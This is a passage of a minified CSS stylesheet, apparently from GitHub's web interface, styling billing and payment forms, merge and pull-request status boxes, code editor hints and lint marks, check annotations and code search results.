.integrations-permission{position:relative;padding-left:24px;margin-bottom:8px;list-style-type:none}.integrations-permissions-group .integrations-permission .octicon{position:absolute;top:1px;left:0;margin-right:8px}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:8px}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo{margin-right:4px}.integrations-install-target .octicon-lock{color:var(--color-attention-fg)}.integrations-install-target .private{background-color:#fff9ea}.integrations-install-target [aria-selected=true].private,.integrations-install-target .navigation-focus.private{background-color:#4078c0}.integrations-install-target [aria-selected=true].octicon-lock,.integrations-install-target .navigation-focus .octicon-lock{color:inherit}.integrations-setup-note{margin:8px 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--color-canvas-subtle)}.listgroup-item.disabled .listgroup-item-title{color:var(--color-fg-default)}.link-small{color:var(--color-fg-muted);transition:color 500ms ease}.sub-permissions-error{max-width:unset !important}.not-found-octocat-wrapper{width:71px;height:71px;border-radius:45px}.not-found-octocat-wrapper::after{position:absolute;top:58px;left:45px;z-index:-2;display:block;width:4px;height:4px;vertical-align:baseline;content:"";background:var(--color-canvas-default);border-radius:4px;box-shadow:0 4px 0 #fff,0 8px 0 #fff,0 12px 0 #fff,0 16px 0 #fff,0 20px 0 #fff;animation-name:pull-string;animation-duration:.75s;animation-fill-mode:forwards;animation-delay:.5s}@keyframes lightbulb{0%,8%,14%{opacity:.1}0%,10%,25%{opacity:.25}5%,30%,50%,70%{opacity:.5}16%,60%,80%{opacity:.75}90%{opacity:.8}94%{opacity:.5}100%{opacity:1;stddeviation:0}}.not-found-lightbulb-ani{z-index:1;opacity:.25;animation-name:lightbulb;animation-duration:2.5s;animation-fill-mode:forwards;animation-delay:1.3s}@keyframes pull-string{50%{transform:translate3d(0, 12px, 0)}75%{opacity:1;transform:none}100%{opacity:0}}.boxed-group-table .toggle-currency{font-size:12px;font-weight:400}.has-removed-contents{display:none}.org-login{margin-top:-32px;margin-bottom:32px}.org-login img{width:450px;padding:1px;margin:8px -24px;border:1px solid var(--color-border-default)}.member-list-item .member-username{display:inline}.member-list-item .member-link{display:inline}.actor-and-action{font-weight:600}.vertical-separator{margin-right:8px;margin-left:4px;border-left:1px solid var(--color-border-default)}.audit-log-search .audit-search-form{margin-bottom:8px}.audit-log-search .audit-results-actions{margin:16px 0}.audit-log-search .audit-search-clear{margin-bottom:0}.billing-addon-items table input{width:5em}.billing-addon-items td{vertical-align:middle;border-bottom:0}.billing-addon-items td.fixed{width:150px}.billing-addon-items td.black{color:var(--color-fg-default)}.billing-addon-items tr{border-bottom:1px solid var(--color-border-muted)}.billing-addon-items tr:last-child{border-bottom-width:0}.billing-addon-items tr:nth-child(even){background-color:var(--color-canvas-subtle)}.billing-addon-items tr.total-row{color:var(--color-danger-fg);background-color:var(--color-canvas-default)}.billing-addon-items .new-addon-items{margin-left:4px}.billing-addon-items .addon-cost{color:var(--color-fg-muted)}.billing-addon-items .discounted-original-price{color:var(--color-fg-muted)}.billing-addon-items .form-submit,.billing-addon-items .payment-method{margin-left:8px}.billing-addon-items .payment-summary{margin-right:8px;margin-left:8px}.billing-credit-card .javascript-disabled-overlay{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;background-color:var(--color-canvas-default);opacity:.5}.billing-credit-card.disabled .javascript-disabled-overlay{display:block}.billing-extra-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-vat-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-section .action-button{float:right;margin-bottom:4px;margin-left:8px}.billing-section .section-label{position:absolute;width:85px;font-weight:400;color:var(--color-fg-muted);text-align:right}.billing-section .section-content{margin-left:100px;color:var(--color-fg-default)}.billing-section:last-child{border-bottom:0}.billing-section .usage-bar{max-width:304px}.usage-bar{width:100%;margin:4px 0 0;background:#eee;border-radius:20px}.usage-bar.exceeded .progress{background-color:var(--color-danger-emphasis) !important}.usage-bar .progress{position:relative;max-width:100%;height:5px;background-color:var(--color-success-emphasis);border-radius:20px;transition:width .3s}.usage-bar .progress.no-highlight{background:var(--color-neutral-muted)}.usage-bar .progress--orange{background-color:var(--color-severe-emphasis)}.usage-bar .progress--purple{background-color:var(--color-done-emphasis)}.lfs-data-pack-field{margin:-4px 0}.packs-table .desc{width:1%;white-space:nowrap}.lfs-data-icon{color:var(--color-fg-muted);text-align:center}.lfs-data-icon.dark{color:var(--color-fg-default)}.lfs-data-icon.octicon-database{margin-right:4px;margin-left:2px}.setup-wrapper .paypal-container{margin-bottom:32px}.setup-wrapper .paypal-logged-in .paypal-container{margin-bottom:8px}.payment-methods{position:relative}.payment-methods .selected-payment-method{display:none}.payment-methods .selected-payment-method::before{display:table;content:""}.payment-methods .selected-payment-method::after{display:table;clear:both;content:""}.payment-methods .selected-payment-method.active{display:block}.payment-methods .form-group dd .form-control.short.input-vat{width:300px}.payment-methods .pay-with-header{margin:4px 0}.payment-methods .pay-with-paypal .setup-creditcard-form,.payment-methods .pay-with-paypal .paypal-form-actions,.payment-methods .pay-with-paypal .terms,.payment-methods .pay-with-paypal .paypal-signed-in,.payment-methods .pay-with-paypal .paypal-down-flash,.payment-methods .pay-with-paypal .loading-paypal-spinner{display:none}.payment-methods.paypal-loading .loading-paypal-spinner{display:block}.payment-methods.paypal-down .paypal-down-flash{display:block}.payment-methods.paypal-logged-in .paypal-sign-in{display:none}.payment-methods.paypal-logged-in .setup-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-methods.has-paypal-account .paypal-signed-in{display:block}.paypal-label{margin:16px 0 8px;font-weight:600}.paypal-container{display:inline-block;margin-bottom:16px;vertical-align:top;background-color:var(--color-canvas-subtle);border-radius:4px}.braintree-paypal-loggedin{padding:12px 16px !important;background-position:12px 50% !important;border:1px solid var(--color-border-muted) !important;border-radius:4px}.bt-pp-name{margin-left:16px !important}.bt-pp-email{margin-left:16px !important}.bt-pp-cancel{font-size:0 !important;line-height:1 !important;color:var(--color-danger-fg) !important;text-decoration:none !important}.payment-history .id,.payment-history .date,.payment-history .receipt,.payment-history .status,.payment-history .amount{white-space:nowrap}.payment-history .break-all{word-break:break-all}.payment-history .receipt{text-align:center}.payment-history .currency,.payment-history .status{color:var(--color-fg-muted)}.payment-history .status-icon{width:14px;text-align:center}.payment-history .succeeded .status{color:var(--color-success-fg)}.payment-history .refunded,.payment-history .failed{background:var(--color-canvas-subtle)}.payment-history .refunded td,.payment-history .failed td{opacity:.5}.payment-history .refunded .receipt,.payment-history .refunded .status,.payment-history .failed .receipt,.payment-history .failed .status{opacity:1}.payment-history .refunded .status{color:var(--color-fg-muted)}.payment-history .failed .status{color:var(--color-danger-fg)}.paypal-icon{margin:0 2px 0 1px;vertical-align:middle}.currency-container .local-currency,.currency-container .local-currency-block{display:none}.currency-container.open .local-currency{display:inline}.currency-container.open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:4px;font-weight:600}.discounted-original-price{font-weight:400;color:var(--color-fg-muted);text-decoration:line-through}.billing-manager-input{width:500px}.seats-change-arrow{margin:0 8px}.plan-choice{position:relative;display:block;padding:16px;padding-left:40px;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default)}.plan-choice.open,.plan-choice.selected{background-color:var(--color-canvas-default)}.plan-choice--experiment{cursor:pointer;transition:transform .3s,box-shadow .3s,border-color .3s}.plan-choice--experiment.open,.plan-choice--experiment.selected{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large);transform:scale(1.025)}.plan-choice--experiment.open .plan-choice-icon,.plan-choice--experiment.selected .plan-choice-icon{background-color:var(--color-success-emphasis);box-shadow:var(--color-shadow-small)}.plan-choice--experiment.open .plan-choice-icon .octicon,.plan-choice--experiment.selected .plan-choice-icon .octicon{transform:scale(1)}.plan-choice--experiment.plan-choice--green.open,.plan-choice--experiment.plan-choice--green.selected{border-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--green.open .plan-choice-icon,.plan-choice--experiment.plan-choice--green.selected .plan-choice-icon{background-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--purple.open,.plan-choice--experiment.plan-choice--purple.selected{border-color:var(--color-done-emphasis)}.plan-choice--experiment.plan-choice--purple.open .plan-choice-icon,.plan-choice--experiment.plan-choice--purple.selected .plan-choice-icon{background-color:var(--color-done-fg)}.plan-choice-icon{transition:box-shadow .3s}.plan-choice-icon .octicon{transition:transform .2s;transform:scale(0.5)}.plan-choice-radio{position:absolute;top:18px;left:15px}.plan-choice-exp{margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.seat-field{width:50px;margin-right:4px}.billing-line-items{margin-top:8px}.billing-line-item{padding:8px 0;font-size:12px;list-style:none;border-top:1px solid var(--color-border-default)}.billing-line-item::before{display:table;content:""}.billing-line-item::after{display:table;clear:both;content:""}.billing-line-item-last{font-weight:600;border-top-width:3px}.line-item-value{float:right}.condensed-payment-methods .vat-field{width:100%}.condensed-payment-methods .state-field{width:30%}.condensed-payment-methods .postcode-field{width:28%}.condensed-payment-methods .country-field{width:42%}.condensed-payment-methods .is-international .country-field{width:72%}.condensed-payment-methods .is-international.no-postcodes .country-field{width:100%}.zuora-billing-section.PaymentMethod--creditcard:not(.has-removed-contents)~.SignUpContinueActions{display:none}.zuora-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.new-org-billing-form .z_hppm_iframe{width:100% !important}.billing-tooltip-underline{cursor:help;border-bottom:1px dotted}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion:hover .billing-box-accordion-state .octicon{color:var(--color-fg-muted)}.billing-box-accordion-chevron[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion-state .octicon{color:var(--color-fg-muted);transition:transform .09s ease-out}.billing-box-progress{padding-top:1px;margin-bottom:4px}.Details-element:focus{outline:none}.organization-radio-button-budget-disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.organization-radio-button-budget-disabled label p{color:var(--color-fg-muted) !important}.required-asterisked::after{color:var(--color-danger-fg);content:" *"}.blob-interaction-bar{position:relative;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.blob-interaction-bar::before{display:table;content:""}.blob-interaction-bar::after{display:table;clear:both;content:""}.blob-interaction-bar .octicon-search{position:absolute;top:6px;left:10px;font-size:12px;color:var(--color-fg-muted)}.blob-filter{width:100%;padding:4px 16px 4px 32px;font-size:12px;border:0;border-radius:0;outline:none}.blob-filter:focus{outline:none}.TagsearchPopover{width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.TagsearchPopover-list .TagsearchPopover-list-item:hover{background-color:var(--color-canvas-subtle)}.TagsearchPopover-list .TagsearchPopover-list-item .TagsearchPopover-item:hover{text-decoration:none}.TagsearchPopover-list .blob-code-inner{white-space:pre-wrap}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--color-danger-fg)}.diff-table .error-highlight,.blob-code-content .error-highlight{position:relative;cursor:help;font-style:italic;color:var(--color-danger-fg)}.diff-table .error-highlight::before,.blob-code-content .error-highlight::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.blob-code-content .blob-num .line-alert{margin-top:1px}.diff-table .blob-num .line-alert{margin:2px -2px}.csv-data .line-alert{position:absolute;margin:2px 4px}.CopyBlock{line-height:20px;cursor:pointer}.CopyBlock .octicon-copy{display:none}.CopyBlock:hover,.CopyBlock:focus,.CopyBlock:active{background-color:var(--color-canvas-default);outline:none}.CopyBlock:hover .octicon-copy,.CopyBlock:focus .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.commit-form-avatar{margin-left:-64px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.quick-pull-new-branch-icon{top:9px;left:10px}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:SFMono-Regular,Consolas,"Liberation Mono",Menlo,monospace;font-size:12px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.CodeMirror-hint{padding:2px 8px;margin:0;color:var(--color-fg-default);white-space:pre;cursor:pointer}.CodeMirror-hint .CodeMirror-hint:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.CodeMirror-hint .CodeMirror-hint:last-child{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.CodeMirror-hint-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.CodeMirror-lint-tooltip{position:fixed;z-index:100;min-width:300px;max-width:600px;opacity:0;transition:opacity .4s}.CodeMirror-lint-mark-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-warning{position:relative;cursor:help}.CodeMirror-lint-mark-warning::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-info{position:relative;cursor:help}.CodeMirror-lint-mark-info::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-hint-active .CodeMirror-hint-description{color:var(--color-fg-on-emphasis) !important}.merge-pr{padding-top:8px;margin:16px 0 0;border-top:1px solid var(--color-border-default)}.merge-pr.open .merge-branch-form{display:block}.merge-pr.open .branch-action{display:none}.merge-pr.is-merging-jump.open .queue-branch-form,.merge-pr.is-merging-group.open .queue-branch-form,.merge-pr.is-merging-solo.open .queue-branch-form{display:block}.status-heading{margin-bottom:1px}.merge-status-list{max-height:0;padding:0;margin:16px -16px -16px -55px;overflow-y:auto;transition:max-height .25s ease-in-out}.statuses-toggle-opened{display:none}.merge-status-item{position:relative;padding:8px 16px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.merge-status-item:last-child:not(.review-item){border-bottom:0}.merge-status-item .css-truncate-target{max-width:100%}.merge-status-item .dismiss-review-form{display:none}.merge-status-item.open .review-status-item{display:none !important}.merge-status-item.open .dismiss-review-form{display:block}.status-meta{color:var(--color-fg-muted)}.status-meta-file-name{padding:.2em .4em;margin:0;font-size:85%;background-color:rgba(27,31,35,.05);border-radius:6px}.status-actions{margin-left:auto}.branch-action-item-icon{float:left;margin-left:-40px}.merge-status-icon{min-width:30px}.branch-action{padding-left:55px;margin-top:16px;margin-bottom:16px}.branch-action .merge-branch-heading{margin-bottom:4px}.branch-action-icon{float:left;width:40px;height:40px;margin-left:-55px;color:var(--color-fg-on-emphasis);border-radius:6px}.branch-action-body{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.branch-action-body .spinner{display:block;float:left;width:32px;height:32px;margin-right:16px;background:url("/images/spinners/octocat-spinner-32.gif") no-repeat}.branch-action-body .merge-message,.branch-action-body .merge-branch-form,.branch-action-body .queue-branch-form{padding:16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.post-merge-message{padding:16px}.branch-action-item{padding:16px 16px 16px 55px;font-size:13px;line-height:1.4}.branch-action-item+.branch-action-item,.branch-action-item+.mergeability-details{border-top:1px solid var(--color-border-default)}.branch-action-item.open>.merge-status-list-wrapper>.merge-status-list,.branch-action-item.open>.merge-status-list{max-height:231px;margin-bottom:-16px;border:solid var(--color-border-default);border-width:1px 0 0}.branch-action-item.open .statuses-toggle-opened{display:inline}.branch-action-item.open .statuses-toggle-closed{display:none}.branch-action-btn{margin-left:16px}.branch-action-item-simple{padding-left:16px}.branch-action-item-simple .merge-status-list{margin-left:-16px}.branch-action-item-simple .merge-status-item{padding-left:12px}.branch-action-state-clean .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.branch-action-state-clean .branch-action-body{border-color:var(--color-success-emphasis)}.branch-action-state-clean .branch-action-body::after,.branch-action-state-clean .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-clean .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-clean .branch-action-body::before{background-color:var(--color-success-emphasis)}.branch-action-state-unknown .branch-action-icon,.branch-action-state-unstable .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent}.branch-action-state-unknown .branch-action-body,.branch-action-state-unstable .branch-action-body{border-color:var(--color-attention-emphasis)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::after,.branch-action-state-unstable .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unstable .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::before{background-color:var(--color-attention-emphasis)}.branch-action-state-merged .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis);border:1px solid transparent}.branch-action-state-merged .branch-action-body{border-color:var(--color-done-emphasis)}.branch-action-state-merged .branch-action-body::after,.branch-action-state-merged .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-merged .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-merged .branch-action-body::before{background-color:var(--color-done-emphasis)}.branch-action-state-dirty .branch-action-icon,.branch-action-state-closed-dirty .branch-action-icon,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.branch-action-state-dirty .branch-action-body,.branch-action-state-closed-dirty .branch-action-body,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body{border-color:var(--color-border-default)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{background-color:var(--color-border-default)}.branch-action-state-error .branch-action-icon,.is-merging .branch-action-state-error-if-merging .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent}.branch-action-state-error .branch-action-body,.is-merging .branch-action-state-error-if-merging .branch-action-body{border-color:var(--color-danger-emphasis)}.branch-action-state-error .branch-action-body::after,.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-error .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{background-color:var(--color-danger-emphasis)}.enqueued-pull-request .branch-action-body::after,.enqueued-pull-request .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.enqueued-pull-request .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.enqueued-pull-request .branch-action-body::before{background-color:var(--color-attention-emphasis)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.branch-action-body .spinner{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.merge-branch-form,.queue-branch-form{display:none;margin:16px 0}.merge-branch-form .commit-form,.queue-branch-form .commit-form{border-color:var(--color-success-emphasis)}.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:block;border-right-color:var(--color-border-default)}}.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:block}}.merge-branch-form.error .commit-form,.merge-branch-form.danger .commit-form,.queue-branch-form.error .commit-form,.queue-branch-form.danger .commit-form{border-color:var(--color-danger-emphasis)}.merge-branch-form.error .commit-form::before,.merge-branch-form.danger .commit-form::before,.queue-branch-form.error .commit-form::before,.queue-branch-form.danger .commit-form::before{border-right-color:var(--color-danger-emphasis)}.merge-button-matrix-merge-form .merge-branch-form{display:block}.completeness-indicator{display:flex;align-items:center;justify-content:center;width:30px;height:30px}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-problem{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-warning{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent;border-radius:50%}.pull-merging .pull-merging-error{display:none}.pull-merging.is-error .pull-merging-error{display:block}.pull-merging.is-error .merge-pr{display:none}.admin-options-block .admin-option-button{margin-top:8px}.admin-options-block .policy-enforcement{display:inline;margin-left:8px;color:var(--color-fg-muted)}.admin-options-block .policy-enforcement label{font-size:14px}.admin-options-block .disabled{color:var(--color-fg-muted)}.admin-options-block .disabled .note{color:var(--color-fg-muted)}.overflow-scroll-y{overflow-x:hidden !important;overflow-y:scroll !important}.business-menu-item:not([aria-current=page])+.business-sub-menu{display:none}.business-menu-icon{width:16px;margin-right:8px}.deprovisioning-checkbox>.show-if-disabled{display:none}.deprovisioning-checkbox.checkbox-disabled{color:var(--color-fg-muted)}.deprovisioning-checkbox.checkbox-disabled>.show-if-disabled{display:inherit}.dormant-users-recent-reports{gap:16px}.avatar-migration-status-badge{width:20px;height:20px}body.full-width-p-0 .new-discussion-timeline{padding:0 !important}body.full-width-p-0 .footer .mt-6{margin-top:0 !important;border-top:0 !important}body.full-width-p-0 .tabnav .tabnav-extra{margin-right:24px}body.full-width-p-0 .tabnav .tabnav-tabs{margin-left:16px}.actions-full-screen .pagehead,.actions-full-screen .hide-full-screen,.actions-full-screen .Header-old,.actions-full-screen .Header{display:none}.checks-list-item.selected .checks-list-item-name{background-color:var(--color-accent-emphasis) !important}.checks-list-item.selected .selected-color-white{color:var(--color-fg-on-emphasis) !important}.checks-list-item-icon{width:16px}.check-annotation{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.file .check-annotation{border-bottom:1px solid var(--color-border-default)}.file .check-annotation:last-child{border-bottom:0}.check-annotation .annotation-actions{top:4px;right:8px}.check-annotation .annotation-octicon{width:16px}.check-annotation.Details--on .Details-content--hidden{display:block !important}.annotation-title{word-break:break-all}.check-annotation-failure{box-shadow:inset 4px 0 0 var(--color-danger-emphasis)}.check-annotation-failure .annotation-title{color:var(--color-danger-fg)}.check-annotation-warning{box-shadow:inset 4px 0 0 var(--color-attention-emphasis)}.check-annotation-warning .octicon-alert{color:var(--color-attention-fg)}.check-annotation-warning .annotation-title{color:var(--color-attention-fg)}.neutral-check{color:var(--color-fg-muted)}.code-frequency .addition{fill:#2cbe4e;fill-opacity:1}.code-frequency .deletion{fill:var(--color-danger-emphasis);fill-opacity:1}.code-list .file-box{border:1px solid var(--color-border-default);border-radius:6px}.code-list .title{min-height:24px;margin:-4px 0 8px 40px;font-weight:600;line-height:1.2}.code-list .repo-specific .title,.code-list .repo-specific .full-path{margin-left:0}.code-list .match-count,.code-list .updated-at{margin:0;font-weight:400}.code-list .language{float:right;margin-left:8px;font-size:12px;color:rgba(51,51,51,.75)}.code-list .avatar{float:left}.code-list .code-list-item+.code-list-item{border-top:1px solid var(--color-border-muted)}.code-list .blob-num{padding:0}.code-list .blob-num::before{content:normal}.code-list .blob-num a{padding:0 8px;color:inherit}.code-list .blob-num a:hover{color:var(--color-accent-fg)}.code-list .blob-code{white-space:pre-wrap}.code-list .divider .blob-num,.code-list .divider .blob-code{padding-top:0;padding-bottom:0;cursor:default;background-color:var(--color-canvas-subtle)}.code-list .divider .blob-num{height:18px;padding:0 8px;line-height:15px;background-color:var(--color-canvas-subtle)}.code-list .full-path{margin:0 0 0 40px}.code-list .full-path .octicon-repo{color:var(--color-fg-muted)}.code-list .full-path .octicon-lock{color:var(--color-attention-fg)}.code-list .full-path a{color:var(--color-fg-muted)}.code-list-item-private .file-box{border:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num{background-color:var(--color-attention-subtle);border-right:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num a{color:var(--color-attention-fg)}.code-list-item-private .divider .blob-num,.code-list-item-private .divider .blob-code{color:var(--color-attention-fg);background-color:var(--color-attention-subtle)}.code-scanning-alert-warning-message{border-color:var(--color-attention-emphasis) !important}.code-scanning-font-size-inherit{font-size:inherit !important}.cs-message .md-list{padding-left:2em}.code-scanning-timeline .TimelineItem:last-of-type.code-scanning-alert-dismissal-comment::before{width:0}.codesearch-head.pagehead h1{width:250px;line-height:33px}@media(min-width: 768px){.advanced-search-form .flattened dt{width:230px}.advanced-search-form .flattened dt label{font-weight:400}.advanced-search-form .flattened dd{margin-left:250px}.advanced-search-form .form-checkbox{margin-left:250px}}.codesearch-results .code-list .title a{word-wrap:break-word}.codesearch-results .repo-list-item{border-bottom:0}.codesearch-results .repo-list-item+.repo-list-item{border-top:1px solid var(--color-border-default)}.search-form-fluid .TableObject-item--primary{position:relative;padding-right:8px}.search-form-fluid .completed-query{position:absolute;z-index:1;padding:inherit;margin:0;overflow:hidden;white-space:nowrap}.search-form-fluid .completed-query span{opacity:0}.search-form-fluid .search-page-label{position:relative;display:block;font-weight:400;cursor:text}.search-form-fluid .search-page-label.focus .completed-query{opacity:.6}.search-form-fluid .search-page-input{position:relative;z-index:2;min-height:0;padding:0;margin:0;background:none;border:0;box-shadow:none}.search-form-fluid .search-page-input:focus{box-shadow:none}.topics-row-container{height:30px;overflow:hidden}@media(max-width: 544px){.codesearch-pagination-container a:not(.next_page):not(.previous_page),.codesearch-pagination-container 